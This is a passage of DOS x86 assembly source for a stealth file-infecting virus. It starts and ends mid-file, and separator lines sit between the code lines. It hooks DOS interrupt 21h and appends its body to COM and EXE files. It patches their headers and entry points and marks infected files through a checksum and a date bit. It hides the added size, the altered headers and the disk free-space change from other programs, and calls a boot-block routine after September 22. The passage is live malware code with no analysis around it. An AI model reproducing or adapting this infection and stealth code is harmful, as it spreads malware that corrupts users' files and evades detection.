les bx,dword ptr cs:parmblock ; point to the parameter
|
|||
|
|
jmp exitint21 ; block
|
|||
|
|
continue_loadexecute:
|
|||
|
|
call getcurrentPSP
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov di,offset handletable ; scan the handle table
|
|||
|
|
mov cx,14h ; for the current PSP's
|
|||
|
|
scanhandle_loadexecute: ; handles
|
|||
|
|
mov ax,cs:currentPSP
|
|||
|
|
repne scasw
|
|||
|
|
jnz loadexecute_checkEXE
|
|||
|
|
mov word ptr es:[di-2],0 ; clear entry in handle table
|
|||
|
|
inc byte ptr cs:handlesleft ; fix handlesleft counter
|
|||
|
|
jmp short scanhandle_loadexecute
|
|||
|
|
loadexecute_checkEXE:
|
|||
|
|
lds si,dword ptr cs:origcsip
|
|||
|
|
cmp si,1 ; Check if EXE infected
|
|||
|
|
jne loadexecute_checkCOM
|
|||
|
|
mov dx,word ptr ds:oldheader+16h ; get initial CS
|
|||
|
|
add dx,10h ; adjust for PSP
|
|||
|
|
mov ah,51h ; Get current PSP segment
|
|||
|
|
call callint21
|
|||
|
|
add dx,bx ;adjust for start load segment
|
|||
|
|
mov word ptr cs:origcsip+2,dx
|
|||
|
|
push word ptr ds:oldheader+14h ; save old IP
|
|||
|
|
pop word ptr cs:origcsip
|
|||
|
|
add bx,10h ; adjust for the PSP
|
|||
|
|
add bx,word ptr ds:oldheader+0Eh ; add old SS
|
|||
|
|
mov cs:origss,bx
|
|||
|
|
push word ptr ds:oldheader+10h ; old SP
|
|||
|
|
pop word ptr cs:origsp
|
|||
|
|
jmp short perform_loadexecute
|
|||
|
|
loadexecute_checkCOM:
|
|||
|
|
mov ax,[si] ; Check if COM infected
|
|||
|
|
add ax,[si+2]
|
|||
|
|
add ax,[si+4]
|
|||
|
|
jz loadexecute_doCOM ; exit if already infected
|
|||
|
|
push cs ; otherwise check to see
|
|||
|
|
pop ds ; if it is suitable for
|
|||
|
|
mov dx,offset copyfilename ; infection
|
|||
|
|
call checkdsdxokinfect
|
|||
|
|
call setup_infection
|
|||
|
|
inc byte ptr cs:hideclustercountchange
|
|||
|
|
call infect_file ; infect the file
|
|||
|
|
dec byte ptr cs:hideclustercountchange
|
|||
|
|
perform_loadexecute:
|
|||
|
|
mov ah,51h ; Get current PSP segment
|
|||
|
|
call callint21
|
|||
|
|
call saveregs
|
|||
|
|
call restoreBREAK
|
|||
|
|
call swapvirint21
|
|||
|
|
call restoreregs
|
|||
|
|
mov ds,bx ; ds = current PSP segment
|
|||
|
|
mov es,bx ; es = current PSP segment
|
|||
|
|
push word ptr cs:int21flags ; restore stack parameters
|
|||
|
|
push word ptr cs:savesegment
|
|||
|
|
push word ptr cs:saveoffset
|
|||
|
|
pop word ptr ds:[0Ah] ; Set terminate address in PSP
|
|||
|
|
pop word ptr ds:[0Ch] ; to return address found on
|
|||
|
|
; the stack
|
|||
|
|
; (int 21h caller CS:IP)
|
|||
|
|
push ds
|
|||
|
|
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
|
|||
|
|
mov al,22h ; Set terminate address to it
|
|||
|
|
call setvect
|
|||
|
|
pop ds
|
|||
|
|
popf
|
|||
|
|
pop ax
|
|||
|
|
mov ss,cs:origss ; restore the stack
|
|||
|
|
mov sp,cs:origsp ; and
|
|||
|
|
jmp dword ptr cs:origcsip ; perform the execute
|
|||
|
|
|
|||
|
|
loadexecute_doCOM:
|
|||
|
|
mov bx,[si+1] ; restore original COM file
|
|||
|
|
mov ax,word ptr ds:[bx+si-261h]
|
|||
|
|
mov [si],ax
|
|||
|
|
mov ax,word ptr ds:[bx+si-25Fh]
|
|||
|
|
mov [si+2],ax
|
|||
|
|
mov ax,word ptr ds:[bx+si-25Dh]
|
|||
|
|
mov [si+4],ax
|
|||
|
|
jmp short perform_loadexecute
|
|||
|
|
checkloadnoexecute:
|
|||
|
|
cmp al,1
|
|||
|
|
je loadnoexecute
|
|||
|
|
jmp exitotherint21
|
|||
|
|
loadnoexecute:
|
|||
|
|
or word ptr cs:int21flags,1; turn on trap flag
|
|||
|
|
mov word ptr cs:parmblock,bx; save pointer to parameter
|
|||
|
|
mov word ptr cs:parmblock+2,es ; block
|
|||
|
|
call _popall
|
|||
|
|
call callint21 ; chain to int 21h
|
|||
|
|
call _pushall
|
|||
|
|
les bx,dword ptr cs:parmblock ; restore pointer to
|
|||
|
|
; parameter block
|
|||
|
|
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
|
|||
|
|
jc exit_loadnoexecute
|
|||
|
|
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
|||
|
|
cmp si,1 ; check for EXE infection
|
|||
|
|
je loadnoexecute_EXE_already_infected
|
|||
|
|
; infected if initial IP = 1
|
|||
|
|
mov ax,[si] ; check for COM infection
|
|||
|
|
add ax,[si+2] ; infected if checksum = 0
|
|||
|
|
add ax,[si+4]
|
|||
|
|
jnz perform_the_execute
|
|||
|
|
mov bx,[si+1] ; get jmp location
|
|||
|
|
mov ax,ds:[bx+si-261h] ; restore original COM file
|
|||
|
|
mov [si],ax
|
|||
|
|
mov ax,ds:[bx+si-25Fh]
|
|||
|
|
mov [si+2],ax
|
|||
|
|
mov ax,ds:[bx+si-25Dh]
|
|||
|
|
mov [si+4],ax
|
|||
|
|
jmp short perform_the_execute
|
|||
|
|
loadnoexecute_EXE_already_infected:
|
|||
|
|
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
|
|||
|
|
call getcurrentPSP
|
|||
|
|
mov cx,cs:currentPSP
|
|||
|
|
add cx,10h ; adjust for PSP
|
|||
|
|
add dx,cx
|
|||
|
|
mov es:[bx+14h],dx ; alter the entry point CS
|
|||
|
|
mov ax,word ptr ds:oldheader+14h
|
|||
|
|
mov es:[bx+12h],ax
|
|||
|
|
mov ax,word ptr ds:oldheader+0Eh ; alter stack
|
|||
|
|
add ax,cx
|
|||
|
|
mov es:[bx+10h],ax
|
|||
|
|
mov ax,word ptr ds:oldheader+10h
|
|||
|
|
mov es:[bx+0Eh],ax
|
|||
|
|
perform_the_execute:
|
|||
|
|
call getcurrentPSP
|
|||
|
|
mov ds,cs:currentPSP
|
|||
|
|
mov ax,[bp+2] ; restore length as held in
|
|||
|
|
mov word ptr ds:oldheader+6,ax
|
|||
|
|
mov ax,[bp+4] ; the EXE header
|
|||
|
|
mov word ptr ds:oldheader+8,ax
|
|||
|
|
exit_loadnoexecute:
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
|
|||
|
|
getDOSversion:
|
|||
|
|
mov byte ptr cs:hide_size,0
|
|||
|
|
mov ah,2Ah ; Get date
|
|||
|
|
call callint21
|
|||
|
|
cmp dx,916h ; September 22?
|
|||
|
|
jb exitDOSversion ; leave if not
|
|||
|
|
call writebootblock ; this is broken
|
|||
|
|
exitDOSversion:
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
infect_file:
|
|||
|
|
call replaceint13and24
|
|||
|
|
call findnextparagraphboundary
|
|||
|
|
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
|
|||
|
|
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
|
|||
|
|
je clearlyisanEXE ; EXE header
|
|||
|
|
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
|
|||
|
|
je clearlyisanEXE ; EXE header
|
|||
|
|
dec byte ptr ds:EXEflag ; if neither, assume is a
|
|||
|
|
jz try_infect_com ; COM file
|
|||
|
|
clearlyisanEXE:
|
|||
|
|
mov ax,ds:lengthinpages ; get file size in pages
|
|||
|
|
shl cx,1 ; and convert it to
|
|||
|
|
mul cx ; bytes
|
|||
|
|
add ax,200h ; add 512 bytes
|
|||
|
|
cmp ax,si
|
|||
|
|
jb go_exit_infect_file
|
|||
|
|
mov ax,ds:minmemory ; make sure min and max memory
|
|||
|
|
or ax,ds:maxmemory ; are not both zero
|
|||
|
|
jz go_exit_infect_file
|
|||
|
|
mov ax,ds:filesizelow ; get filesize in dx:ax
|
|||
|
|
mov dx,ds:filesizehigh
|
|||
|
|
mov cx,200h ; convert to pages
|
|||
|
|
div cx
|
|||
|
|
or dx,dx ; filesize multiple of 512?
|
|||
|
|
jz filesizemultiple512 ; then don't increment #
|
|||
|
|
inc ax ; pages
|
|||
|
|
filesizemultiple512:
|
|||
|
|
mov ds:lengthinpages,ax ; put in new values for length
|
|||
|
|
mov ds:lengthMOD512,dx ; fields
|
|||
|
|
cmp word ptr ds:initialIP,1 ; check if already infected
|
|||
|
|
je exit_infect_file
|
|||
|
|
mov word ptr ds:initialIP,1 ; set new entry point
|
|||
|
|
mov ax,si ; calculate new entry point
|
|||
|
|
sub ax,ds:headersize ; segment
|
|||
|
|
mov ds:initialcs,ax ; put this in for cs
|
|||
|
|
add word ptr ds:lengthinpages,8 ; 4K more
|
|||
|
|
mov ds:initialSS,ax ; put entry segment in for SS
|
|||
|
|
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
|
|||
|
|
call finish_infection
|
|||
|
|
go_exit_infect_file:
|
|||
|
|
jmp short exit_infect_file
|
|||
|
|
try_infect_com:
|
|||
|
|
cmp si,0F00h ; make sure file is under
|
|||
|
|
jae exit_infect_file ; F00h paragraphs or else
|
|||
|
|
; it will be too large once it
|
|||
|
|
; is infected
|
|||
|
|
mov ax,ds:readbuffer ; first save first 6 bytes
|
|||
|
|
mov word ptr ds:oldheader,ax
|
|||
|
|
add dx,ax
|
|||
|
|
mov ax,ds:readbuffer+2
|
|||
|
|
mov word ptr ds:oldheader+2,ax
|
|||
|
|
add dx,ax
|
|||
|
|
mov ax,ds:readbuffer+4
|
|||
|
|
mov word ptr ds:oldheader+4,ax
|
|||
|
|
add dx,ax ; exit if checksum = 0
|
|||
|
|
jz exit_infect_file ; since then it is already
|
|||
|
|
; infected
|
|||
|
|
mov cl,0E9h ; encode jmp instruction
|
|||
|
|
mov byte ptr ds:readbuffer,cl
|
|||
|
|
mov ax,10h ; find file size
|
|||
|
|
mul si
|
|||
|
|
add ax,offset entervirus-3 ; calculate offset of jmp
|
|||
|
|
mov word ptr ds:readbuffer+1,ax ; encode it
|
|||
|
|
mov ax,ds:readbuffer ; checksum it to 0
|
|||
|
|
add ax,ds:readbuffer+2
|
|||
|
|
neg ax
|
|||
|
|
mov ds:readbuffer+4,ax
|
|||
|
|
call finish_infection
|
|||
|
|
exit_infect_file:
|
|||
|
|
mov ah,3Eh ; Close file
|
|||
|
|
call callint21
|
|||
|
|
call restoreint13and24
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
findnextparagraphboundary:
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov ax,5700h ; Get file time/date
|
|||
|
|
call callint21
|
|||
|
|
mov ds:filetime,cx
|
|||
|
|
mov ds:filedate,dx
|
|||
|
|
mov ax,4200h ; Go to beginning of file
|
|||
|
|
xor cx,cx
|
|||
|
|
mov dx,cx
|
|||
|
|
call callint21
|
|||
|
|
mov ah,3Fh ; Read first 1Ch bytes
|
|||
|
|
mov cl,1Ch
|
|||
|
|
mov dx,offset readbuffer
|
|||
|
|
call callint21
|
|||
|
|
mov ax,4200h ; Go to beginning of file
|
|||
|
|
xor cx,cx
|
|||
|
|
mov dx,cx
|
|||
|
|
call callint21
|
|||
|
|
mov ah,3Fh ; Read first 1Ch bytes
|
|||
|
|
mov cl,1Ch
|
|||
|
|
mov dx,offset oldheader
|
|||
|
|
call callint21
|
|||
|
|
mov ax,4202h ; Go to end of file
|
|||
|
|
xor cx,cx
|
|||
|
|
mov dx,cx
|
|||
|
|
call callint21
|
|||
|
|
mov ds:filesizelow,ax ; save filesize
|
|||
|
|
mov ds:filesizehigh,dx
|
|||
|
|
mov di,ax
|
|||
|
|
add ax,0Fh ; round to nearest paragraph
|
|||
|
|
adc dx,0 ; boundary
|
|||
|
|
and ax,0FFF0h
|
|||
|
|
sub di,ax ; di=# bytes to next paragraph
|
|||
|
|
mov cx,10h ; normalize filesize
|
|||
|
|
div cx ; to paragraphs
|
|||
|
|
mov si,ax ; si = result
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
finish_infection:
|
|||
|
|
mov ax,4200h ; Go to beginning of file
|
|||
|
|
xor cx,cx
|
|||
|
|
mov dx,cx
|
|||
|
|
call callint21
|
|||
|
|
mov ah,40h ; Write new header to file
|
|||
|
|
mov cl,1Ch
|
|||
|
|
mov dx,offset readbuffer
|
|||
|
|
call callint21
|
|||
|
|
mov ax,10h ; convert paragraph boundary
|
|||
|
|
mul si ; to a byte value
|
|||
|
|
mov cx,dx
|
|||
|
|
mov dx,ax
|
|||
|
|
mov ax,4200h ; go to first paragraph
|
|||
|
|
call callint21 ; boundary at end of file
|
|||
|
|
xor dx,dx
|
|||
|
|
mov cx,1000h
|
|||
|
|
add cx,di
|
|||
|
|
mov ah,40h ; Concatenate virus to file
|
|||
|
|
call callint21
|
|||
|
|
mov ax,5701h ; Restore file time/date
|
|||
|
|
mov cx,ds:filetime
|
|||
|
|
mov dx,ds:filedate
|
|||
|
|
test dh,80h ; check for infection bit
|
|||
|
|
jnz highbitset
|
|||
|
|
add dh,0C8h ; alter if not set yet
|
|||
|
|
highbitset:
|
|||
|
|
call callint21
|
|||
|
|
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
|
|||
|
|
jb exit_finish_infection ; do not hide the alteration
|
|||
|
|
; in cluster count
|
|||
|
|
cmp byte ptr ds:hideclustercountchange,0
|
|||
|
|
je exit_finish_infection
|
|||
|
|
push bx
|
|||
|
|
mov dl,ds:filedrive
|
|||
|
|
mov ah,32h ; Get drive parameter block
|
|||
|
|
call callint21 ; for drive dl
|
|||
|
|
mov ax,cs:numfreeclusters
|
|||
|
|
mov [bx+1Eh],ax ; alter free cluster count
|
|||
|
|
pop bx
|
|||
|
|
exit_finish_infection:
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
checkFCBokinfect:
|
|||
|
|
call saveregs
|
|||
|
|
mov di,dx
|
|||
|
|
add di,0Dh ; skip to extension
|
|||
|
|
push ds
|
|||
|
|
pop es
|
|||
|
|
jmp short performchecksum ; and check checksum for valid
|
|||
|
|
; checksum
|
|||
|
|
|
|||
|
|
checkdsdxokinfect:
|
|||
|
|
call saveregs
|
|||
|
|
push ds
|
|||
|
|
pop es
|
|||
|
|
mov di,dx
|
|||
|
|
mov cx,50h ; max filespec length
|
|||
|
|
xor ax,ax
|
|||
|
|
mov bl,0 ; default drive
|
|||
|
|
cmp byte ptr [di+1],':' ; Is there a drive spec?
|
|||
|
|
jne ondefaultdrive ; nope, skip it
|
|||
|
|
mov bl,[di] ; yup, get drive
|
|||
|
|
and bl,1Fh ; and convert to number
|
|||
|
|
ondefaultdrive:
|
|||
|
|
mov cs:filedrive,bl
|
|||
|
|
repne scasb ; find terminating 0 byte
|
|||
|
|
performchecksum:
|
|||
|
|
mov ax,[di-3]
|
|||
|
|
and ax,0DFDFh ; convert to uppercase
|
|||
|
|
add ah,al
|
|||
|
|
mov al,[di-4]
|
|||
|
|
and al,0DFh ; convert to uppercase
|
|||
|
|
add al,ah
|
|||
|
|
mov byte ptr cs:EXEflag,0 ; assume COM file
|
|||
|
|
cmp al,0DFh ; COM checksum?
|
|||
|
|
je COMchecksum
|
|||
|
|
inc byte ptr cs:EXEflag ; assume EXE file
|
|||
|
|
cmp al,0E2h ; EXE checksum?
|
|||
|
|
jne otherchecksum
|
|||
|
|
COMchecksum:
|
|||
|
|
call restoreregs
|
|||
|
|
clc ; mark no error
|
|||
|
|
retn
|
|||
|
|
otherchecksum:
|
|||
|
|
call restoreregs
|
|||
|
|
stc ; mark error
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
getcurrentPSP:
|
|||
|
|
push bx
|
|||
|
|
mov ah,51h ; Get current PSP segment
|
|||
|
|
call callint21
|
|||
|
|
mov cs:currentPSP,bx ; store it
|
|||
|
|
pop bx
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
setup_infection:
|
|||
|
|
call replaceint13and24
|
|||
|
|
push dx
|
|||
|
|
mov dl,cs:filedrive
|
|||
|
|
mov ah,36h ; Get disk free space
|
|||
|
|
call callint21
|
|||
|
|
mul cx ; ax = bytes per cluster
|
|||
|
|
mul bx ; dx:ax = bytes free space
|
|||
|
|
mov bx,dx
|
|||
|
|
pop dx
|
|||
|
|
or bx,bx ; less than 65536 bytes free?
|
|||
|
|
jnz enough_free_space ; hopefully not
|
|||
|
|
cmp ax,4000h ; exit if less than 16384
|
|||
|
|
jb exit_setup_infection ; bytes free
|
|||
|
|
enough_free_space:
|
|||
|
|
mov ax,4300h ; Get file attributes
|
|||
|
|
call callint21
|
|||
|
|
jc exit_setup_infection ; exit on error
|
|||
|
|
mov di,cx ; di = attributes
|
|||
|
|
xor cx,cx
|
|||
|
|
mov ax,4301h ; Clear file attributes
|
|||
|
|
call callint21
|
|||
|
|
cmp byte ptr cs:errorflag,0 ; check for errors
|
|||
|
|
jne exit_setup_infection
|
|||
|
|
mov ax,3D02h ; Open file read/write
|
|||
|
|
call callint21
|
|||
|
|
jc exit_setup_infection ; exit on error
|
|||
|
|
mov bx,ax ; move handle to bx
|
|||
|
|
; xchg bx,ax is superior
|
|||
|
|
mov cx,di
|
|||
|
|
mov ax,4301h ; Restore file attributes
|
|||
|
|
call callint21
|
|||
|
|
push bx
|
|||
|
|
mov dl,cs:filedrive ; Get file's drive number
|
|||
|
|
mov ah,32h ; Get drive parameter block
|
|||
|
|
call callint21 ; for disk dl
|
|||
|
|
mov ax,[bx+1Eh] ; Get free cluster count
|
|||
|
|
mov cs:numfreeclusters,ax ; and save it
|
|||
|
|
pop bx ; return handle
|
|||
|
|
call restoreint13and24
|
|||
|
|
retn
|
|||
|
|
exit_setup_infection:
|
|||
|
|
xor bx,bx
|
|||
|
|
dec bx ; return bx=-1 on error
|
|||
|
|
call restoreint13and24
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
checkforinfection:
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push ax
|
|||
|
|
mov ax,4400h ; Get device information
|
|||
|
|
call callint21 ; (set hide_size = 2)
|
|||
|
|
xor dl,80h
|
|||
|
|
test dl,80h ; Character device? If so,
|
|||
|
|
jz exit_checkforinfection ; exit; cannot be infected
|
|||
|
|
mov ax,5700h ; Otherwise get time/date
|
|||
|
|
call callint21
|
|||
|
|
test dh,80h ; Check year bit for infection
|
|||
|
|
exit_checkforinfection:
|
|||
|
|
pop ax
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
obtainfilesize:
|
|||
|
|
call saveregs
|
|||
|
|
mov ax,4201h ; Get current file position
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
call callint21
|
|||
|
|
mov cs:curfileposlow,ax
|
|||
|
|
mov cs:curfileposhigh,dx
|
|||
|
|
mov ax,4202h ; Go to end of file
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
call callint21
|
|||
|
|
mov cs:filesizelow,ax
|
|||
|
|
mov cs:filesizehigh,dx
|
|||
|
|
mov ax,4200h ; Return to file position
|
|||
|
|
mov dx,cs:curfileposlow
|
|||
|
|
mov cx,cs:curfileposhigh
|
|||
|
|
call callint21
|
|||
|
|
call restoreregs
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
getsetfiletimedate:
|
|||
|
|
or al,al ; Get time/date?
|
|||
|
|
jnz checkifsettimedate ; if not, see if Set time/date
|
|||
|
|
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
|||
|
|
call _popall
|
|||
|
|
call callint21
|
|||
|
|
jc gettimedate_error ; exit on error
|
|||
|
|
test dh,80h ; check year bit if infected
|
|||
|
|
jz gettimedate_notinfected
|
|||
|
|
sub dh,0C8h ; if so, hide change
|
|||
|
|
gettimedate_notinfected:
|
|||
|
|
jmp exitint21
|
|||
|
|
gettimedate_error:
|
|||
|
|
or word ptr cs:int21flags,1; turn on trap flag
|
|||
|
|
jmp exitint21
|
|||
|
|
checkifsettimedate:
|
|||
|
|
cmp al,1 ; Set time/date?
|
|||
|
|
jne exit_filetimedate_pointer
|
|||
|
|
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
|||
|
|
test dh,80h ; Infection bit set?
|
|||
|
|
jz set_yearbitset
|
|||
|
|
sub dh,0C8h ; clear infection bit
|
|||
|
|
set_yearbitset:
|
|||
|
|
call checkforinfection
|
|||
|
|
jz set_datetime_nofinagle
|
|||
|
|
add dh,0C8h ; set infection flag
|
|||
|
|
set_datetime_nofinagle:
|
|||
|
|
call callint21
|
|||
|
|
mov [bp-4],ax
|
|||
|
|
adc word ptr cs:int21flags,0; turn on/off trap flag
|
|||
|
|
jmp _popall_then_exitint21 ; depending on result
|
|||
|
|
|
|||
|
|
handlemovefilepointer:
|
|||
|
|
cmp al,2
|
|||
|
|
jne exit_filetimedate_pointer
|
|||
|
|
call checkforinfection
|
|||
|
|
jz exit_filetimedate_pointer
|
|||
|
|
sub word ptr [bp-0Ah],1000h ; hide file size
|
|||
|
|
sbb word ptr [bp-8],0
|
|||
|
|
exit_filetimedate_pointer:
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
handleread:
|
|||
|
|
and byte ptr cs:int21flags,0FEh ; clear trap flag
|
|||
|
|
call checkforinfection ; exit if it is not
|
|||
|
|
jz exit_filetimedate_pointer ; infected -- no need
|
|||
|
|
; to do stealthy stuff
|
|||
|
|
mov cs:savelength,cx
|
|||
|
|
mov cs:savebuffer,dx
|
|||
|
|
mov word ptr cs:return_code,0
|
|||
|
|
call obtainfilesize
|
|||
|
|
mov ax,cs:filesizelow ; store the file size
|
|||
|
|
mov dx,cs:filesizehigh
|
|||
|
|
sub ax,1000h ; get uninfected file size
|
|||
|
|
sbb dx,0
|
|||
|
|
sub ax,cs:curfileposlow ; check if currently in
|
|||
|
|
sbb dx,cs:curfileposhigh ; virus code
|
|||
|
|
jns not_in_virus_body ; continue if not
|
|||
|
|
mov word ptr [bp-4],0 ; set return code = 0
|
|||
|
|
jmp handleopenclose_exit
|
|||
|
|
not_in_virus_body:
|
|||
|
|
jnz not_reading_header
|
|||
|
|
cmp ax,cx ; reading from header?
|
|||
|
|
ja not_reading_header
|
|||
|
|
mov cs:savelength,ax ; # bytes into header
|
|||
|
|
not_reading_header:
|
|||
|
|
mov dx,cs:curfileposlow
|
|||
|
|
mov cx,cs:curfileposhigh
|
|||
|
|
or cx,cx ; if reading > 64K into file,
|
|||
|
|
jnz finish_reading ; then no problems
|
|||
|
|
cmp dx,1Ch ; if reading from header, then
|
|||
|
|
jbe reading_from_header ; do stealthy stuff
|
|||
|
|
finish_reading:
|
|||
|
|
mov dx,cs:savebuffer
|
|||
|
|
mov cx,cs:savelength
|
|||
|
|
mov ah,3Fh ; read file
|
|||
|
|
call callint21
|
|||
|
|
add ax,cs:return_code ; ax = bytes read
|
|||
|
|
mov [bp-4],ax ; set return code properly
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
reading_from_header:
|
|||
|
|
mov si,dx
|
|||
|
|
mov di,dx
|
|||
|
|
add di,cs:savelength
|
|||
|
|
cmp di,1Ch ; reading all of header?
|
|||
|
|
jb read_part_of_header ; nope, calculate how much
|
|||
|
|
xor di,di
|
|||
|
|
jmp short do_read_from_header
|
|||
|
|
read_part_of_header:
|
|||
|
|
sub di,1Ch
|
|||
|
|
neg di
|
|||
|
|
do_read_from_header:
|
|||
|
|
mov ax,dx
|
|||
|
|
mov cx,cs:filesizehigh ; calculate location in
|
|||
|
|
mov dx,cs:filesizelow ; the file of the virus
|
|||
|
|
add dx,0Fh ; storage area for the
|
|||
|
|
adc cx,0 ; original 1Ch bytes of
|
|||
|
|
and dx,0FFF0h ; the file
|
|||
|
|
sub dx,0FFCh
|
|||
|
|
sbb cx,0
|
|||
|
|
add dx,ax
|
|||
|
|
adc cx,0
|
|||
|
|
mov ax,4200h ; go to that location
|
|||
|
|
call callint21
|
|||
|
|
mov cx,1Ch
|
|||
|
|
sub cx,di
|
|||
|
|
sub cx,si
|
|||
|
|
mov ah,3Fh ; read the original header
|
|||
|
|
mov dx,cs:savebuffer
|
|||
|
|
call callint21
|
|||
|
|
add cs:savebuffer,ax
|
|||
|
|
sub cs:savelength,ax
|
|||
|
|
add cs:return_code,ax
|
|||
|
|
xor cx,cx ; go past the virus's header
|
|||
|
|
mov dx,1Ch
|
|||
|
|
mov ax,4200h
|
|||
|
|
call callint21
|
|||
|
|
jmp finish_reading ; and continue the reading
|
|||
|
|
|
|||
|
|
handlewrite:
|
|||
|
|
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
|||
|
|
call checkforinfection
|
|||
|
|
jnz continue_handlewrite
|
|||
|
|
jmp exit_filetimedate_pointer
|
|||
|
|
continue_handlewrite:
|
|||
|
|
mov cs:savelength,cx
|
|||
|
|
mov cs:savebuffer,dx
|
|||
|
|
mov word ptr cs:return_code,0
|
|||
|
|
call obtainfilesize
|
|||
|
|
mov ax,cs:filesizelow
|
|||
|
|
mov dx,cs:filesizehigh
|
|||
|
|
sub ax,1000h ; calculate original file
|
|||
|
|
sbb dx,0 ; size
|
|||
|
|
sub ax,cs:curfileposlow ; writing from inside the
|
|||
|
|
sbb dx,cs:curfileposhigh ; virus?
|
|||
|
|
js finish_write ; if not, we can continue
|
|||
|
|
jmp short write_inside_virus; otherwise, fixup some stuff
|
|||
|
|
finish_write:
|
|||
|
|
call replaceint13and24
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov dx,ds:filesizelow ; calculate location in file
|
|||
|
|
mov cx,ds:filesizehigh ; of the virus storage of the
|
|||
|
|
add dx,0Fh ; original 1Ch bytes of the
|
|||
|
|
adc cx,0 ; file
|
|||
|
|
and dx,0FFF0h
|
|||
|
|
sub dx,0FFCh
|
|||
|
|
sbb cx,0
|
|||
|
|
mov ax,4200h
|
|||
|
|
call callint21
|
|||
|
|
mov dx,offset oldheader
|
|||
|
|
mov cx,1Ch
|
|||
|
|
mov ah,3Fh ; read original header
|
|||
|
|
call callint21
|
|||
|
|
mov ax,4200h ; go to beginning of file
|
|||
|
|
xor cx,cx
|
|||
|
|
mov dx,cx
|
|||
|
|
call callint21
|
|||
|
|
mov dx,offset oldheader
|
|||
|
|
mov cx,1Ch
|
|||
|
|
mov ah,40h ; write original header to
|
|||
|
|
call callint21 ; the file
|
|||
|
|
mov dx,0F000h ; go back 4096 bytes
|
|||
|
|
mov cx,0FFFFh ; from the end of the
|
|||
|
|
mov ax,4202h ; file and
|
|||
|
|
call callint21
|
|||
|
|
mov ah,40h ; truncate the file
|
|||
|
|
xor cx,cx ; at that position
|
|||
|
|
call callint21
|
|||
|
|
mov dx,ds:curfileposlow ; Go to current file position
|
|||
|
|
mov cx,ds:curfileposhigh
|
|||
|
|
mov ax,4200h
|
|||
|
|
call callint21
|
|||
|
|
mov ax,5700h ; Get file time/date
|
|||
|
|
call callint21
|
|||
|
|
test dh,80h
|
|||
|
|
jz high_bit_aint_set
|
|||
|
|
sub dh,0C8h ; restore file date
|
|||
|
|
mov ax,5701h ; put it onto the disk
|
|||
|
|
call callint21
|
|||
|
|
high_bit_aint_set:
|
|||
|
|
call restoreint13and24
|
|||
|
|
jmp exitotherint21
|
|||
|
|
write_inside_virus:
|
|||
|
|
jnz write_inside_header ; write from start of file?
|
|||
|
|
cmp ax,cx
|
|||
|
|
ja write_inside_header ; write from inside header?
|
|||
|
|
jmp finish_write
|
|||
|
|
|
|||
|
|
write_inside_header:
|
|||
|
|
mov dx,cs:curfileposlow
|
|||
|
|
mov cx,cs:curfileposhigh
|
|||
|
|
or cx,cx ; Reading over 64K?
|
|||
|
|
jnz writemorethan1Chbytes
|
|||
|
|
cmp dx,1Ch ; Reading over 1Ch bytes?
|
|||
|
|
ja writemorethan1Chbytes
|
|||
|
|
jmp finish_write
|
|||
|
|
writemorethan1Chbytes:
|
|||
|
|
call _popall
|
|||
|
|
call callint21 ; chain to int 21h
|
|||
|
|
; (allow write to take place)
|
|||
|
|
call _pushall
|
|||
|
|
mov ax,5700h ; Get file time/date
|
|||
|
|
call callint21
|
|||
|
|
test dh,80h
|
|||
|
|
jnz _popall_then_exitint21_
|
|||
|
|
add dh,0C8h
|
|||
|
|
mov ax,5701h ; restore file date
|
|||
|
|
call callint21
|
|||
|
|
_popall_then_exitint21_:
|
|||
|
|
jmp _popall_then_exitint21
|
|||
|
|
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
int13:
|
|||
|
|
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
|
|||
|
|
pop word ptr cs:int13tempCSIP+2 ; the stack
|
|||
|
|
pop word ptr cs:int13flags
|
|||
|
|
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
|
|||
|
|
cmp byte ptr cs:errorflag,0 ; any errors yet?
|
|||
|
|
jne exitint13error ; yes, already an error
|
|||
|
|
push word ptr cs:int13flags
|
|||
|
|
call dword ptr cs:origints
|
|||
|
|
jnc exitint13
|
|||
|
|
inc byte ptr cs:errorflag ; mark error
|
|||
|
|
exitint13error:
|
|||
|
|
stc ; mark error
|
|||
|
|
exitint13:
|
|||
|
|
jmp dword ptr cs:int13tempCSIP ; return to caller
|
|||
|
|
|
|||
|
|
int24:
|
|||
|
|
xor al,al ; ignore error
|
|||
|
|
mov byte ptr cs:errorflag,1 ; mark error
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
replaceint13and24:
|
|||
|
|
mov byte ptr cs:errorflag,0 ; clear errors
|
|||
|
|
call saveregs
|
|||
|
|
push cs
|
|||
